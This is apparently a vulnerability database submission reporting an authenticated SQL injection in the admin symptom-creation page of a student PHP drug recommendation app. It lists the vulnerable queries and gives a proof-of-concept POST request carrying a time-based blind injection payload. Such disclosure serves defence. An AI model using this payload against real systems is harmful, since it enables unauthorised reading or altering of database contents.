| Title | SourceCodester Drug Recommendation System 1.0 SQL Injection |
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| Description | A SQL injection vulnerability exists in SourceCodester Drug Recommendation System 1.0 in Admin/add_symptom.php. The POST parameter txtname is processed with mysqli_real_escape_string() but still concatenated directly into SELECT and INSERT queries without parameterized binding.
Vulnerable queries:
SELECT * FROM symptoms WHERE name = '$name'
INSERT INTO symptoms (name) VALUES ('$name')
Proof of Concept (authenticated):
POST /Admin/add_symptom.php
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid>
btnadd=1&txtname=test' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Impact: An authenticated attacker can inject SQL through the symptom creation form, extracting or modifying database contents. CWE-89, CVSS v3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
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| Source | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
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| User | swj99557271 (UID 101148) |
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| Submission | 09/10/2026 05:49 (25 days ago) |
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| Moderation | 10/04/2026 10:50 (24 days later) |
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| Status | Accepted |
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| VulDB entry | 413410 [SourceCodester Drug Recommendation System 1.0 Symptom Creation /Admin/add_symptom.php mysqli_real_escape_string txtname sql injection] |
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| Points | 20 |
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